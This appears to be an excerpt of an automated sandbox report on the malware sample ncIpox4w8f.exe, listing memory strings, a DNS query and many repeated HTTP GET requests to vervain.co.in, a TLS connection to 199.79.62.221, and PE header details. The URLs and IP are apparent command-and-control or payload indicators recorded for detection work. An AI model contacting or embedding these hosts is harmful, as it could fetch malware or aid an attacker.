Source: ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.465386950.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.453108202.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.438586801.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.472777647.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.470320636.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.460364884.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457798232.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/025874515/Jsibtswtoeethvjdrykaimaovwatvskotxe
Source: ncIpox4w8f.exe, 00000000.00000003.426376750.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.419087530.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.376712057.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.421607105.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.369971422.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.347983893.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.416838008.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.401276739.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.412105377.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.395675590.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.344946189.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.397940180.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.390766181.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/le
Source: ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.250684430.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.255360203.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.252950036.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/ain.co.in/pe
Source: ncIpox4w8f.exe, 00000000.00000003.450585994.00000000007D7000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.455246680.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.457658604.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/c
Source: ncIpox4w8f.exe, 00000000.00000003.306711396.000000000080F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/h
Source: ncIpox4w8f.exe, 00000000.00000003.390661773.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384479510.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/j
Source: ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.266148150.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.283324784.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.384591005.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.328765144.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.324671146.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.286441271.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.367752702.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.433704341.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.288987691.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.436106009.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.309024067.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.382209137.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/le
Source: ncIpox4w8f.exe, 00000000.00000003.280207493.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/pe
Source: ncIpox4w8f.exe, 00000000.00000003.255360203.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, ncIpox4w8f.exe, 00000000.00000003.252950036.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/roso
Source: ncIpox4w8f.exe, 00000000.00000003.263297176.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/rpriseCertificates
Source: ncIpox4w8f.exe, 00000000.00000003.250747131.000000000080F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vervain.co.in/t

Source: unknown

DNS traffic detected: queries for: vervain.co.in

Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in
Source: global traffic	HTTP traffic detected: GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1User-Agent: lValiHost: vervain.co.in

Source: unknown

HTTPS traffic detected: 199.79.62.221:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: ncIpox4w8f.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: ncIpox4w8f.exe	Binary or memory string: OriginalFilename vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.348605602.000000000581A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.374747011.0000000005726000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.248325276.0000000005350000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.304035366.0000000005614000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.350592323.0000000005833000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.293371459.000000000561C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.501025618.000000000591C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.419524616.0000000005820000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.400260793.0000000005904000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.334512087.000000000536E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.261256374.000000000541C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000002.546359558.00000000058FC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.261407563.0000000005450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.248105696.0000000005450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.387645922.0000000005915000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.266085426.000000000542C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.391278569.0000000005914000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.260726768.00000000054E9000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.355852428.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.258337624.00000000053D9000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.304917725.0000000005534000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.316597179.000000000540C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.300388973.0000000005422000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.326228795.000000000552E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.379660649.0000000005726000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.301611806.0000000005344000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.297908164.0000000005536000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
